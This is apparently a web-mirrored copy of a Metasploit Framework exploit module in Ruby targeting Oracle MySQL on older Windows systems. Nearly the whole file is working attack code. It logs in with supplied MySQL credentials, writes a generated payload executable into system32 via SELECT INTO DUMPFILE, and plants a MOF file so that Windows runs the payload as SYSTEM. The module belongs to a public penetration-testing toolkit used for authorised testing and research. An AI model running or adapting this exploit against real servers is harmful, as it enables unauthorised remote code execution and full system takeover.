CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/mysql/mysql_mof.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::MYSQL
10
include Msf::Exploit::WbemExec
11
include Msf::Exploit::EXE
12
include Msf::Exploit::FileDropper
13
include Msf::OptionalSession::MySQL
14
15
def initialize(info = {})
16
super(update_info(info,
17
'Name' => 'Oracle MySQL for Microsoft Windows MOF Execution',
18
'Description' => %q{
19
This module takes advantage of a file privilege misconfiguration problem
20
specifically against Windows MySQL servers (due to the use of a .mof file).
21
This may result in arbitrary code execution under the context of SYSTEM.
22
This module requires a valid MySQL account on the target machine.
23
},
24
'Author' =>
25
[
26
'kingcope',
27
'sinn3r'
28
],
29
'License' => MSF_LICENSE,
30
'References' =>
31
[
32
['CVE', '2012-5613'], #DISPUTED
33
['OSVDB', '88118'],
34
['EDB', '23083'],
35
['URL', 'https://seclists.org/fulldisclosure/2012/Dec/13']
36
],
37
'Platform' => 'win',
38
'Targets' =>
39
[
40
[ 'MySQL on Windows prior to Vista', { } ]
41
],
42
'DefaultTarget' => 0,
43
'DisclosureDate' => '2012-12-01'
44
))
45
46
register_options(
47
[
48
OptString.new('USERNAME', [ true, 'The username to authenticate as']),
49
OptString.new('PASSWORD', [ true, 'The password to authenticate with'])
50
])
51
end
52
53
def check
54
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
55
return Exploit::CheckCode::Safe if not m
56
57
return Exploit::CheckCode::Appears if is_windows?
58
return Exploit::CheckCode::Safe
59
end
60
61
def query(q)
62
rows = []
63
64
begin
65
res = mysql_query(q)
66
return rows if not res
67
res.each_hash do |row|
68
rows << row
69
end
70
rescue ::Rex::Proto::MySQL::Client::ParseError
71
return rows
72
end
73
74
return rows
75
end
76
77
def is_windows?
78
r = query("SELECT @@version_compile_os;")
79
return (r[0]['@@version_compile_os'] =~ /^Win/) ? true : false
80
end
81
82
def get_drive_letter
83
r = query("SELECT @@tmpdir;")
84
drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
85
return drive
86
end
87
88
def upload_file(bin, dest)
89
p = bin.unpack("H*")[0]
90
query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
91
end
92
93
def exploit
94
print_status("Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
95
begin
96
# If we have a session make use of it
97
if session
98
print_status("Using existing session #{session.sid}")
99
self.mysql_conn = session.client
100
else
101
# otherwise fallback to attempting to login
102
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
103
return unless m
104
end
105
rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
106
print_error("Access denied.")
107
return
108
end
109
110
if not is_windows?
111
print_error("Remote host isn't Windows.")
112
return
113
end
114
115
drive = get_drive_letter
116
exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
117
dest = "#{drive}:/windows/system32/#{exe_name}"
118
exe = generate_payload_exe
119
print_status("Uploading to '#{dest}'")
120
begin
121
upload_file(exe, dest)
122
register_file_for_cleanup("#{exe_name}")
123
rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
124
print_error("No permission to write. I blame kc :-)")
125
return
126
end
127
128
mof_name = Rex::Text::rand_text_alpha(5) + ".mof"
129
dest = "#{drive}:/windows/system32/wbem/mof/#{mof_name}"
130
mof = generate_mof(mof_name, exe_name)
131
print_status("Uploading to '#{dest}'")
132
begin
133
upload_file(mof, dest)
134
register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
135
rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
136
print_error("No permission to write. Bail!")
137
return
138
end
139
end
140
end
141
142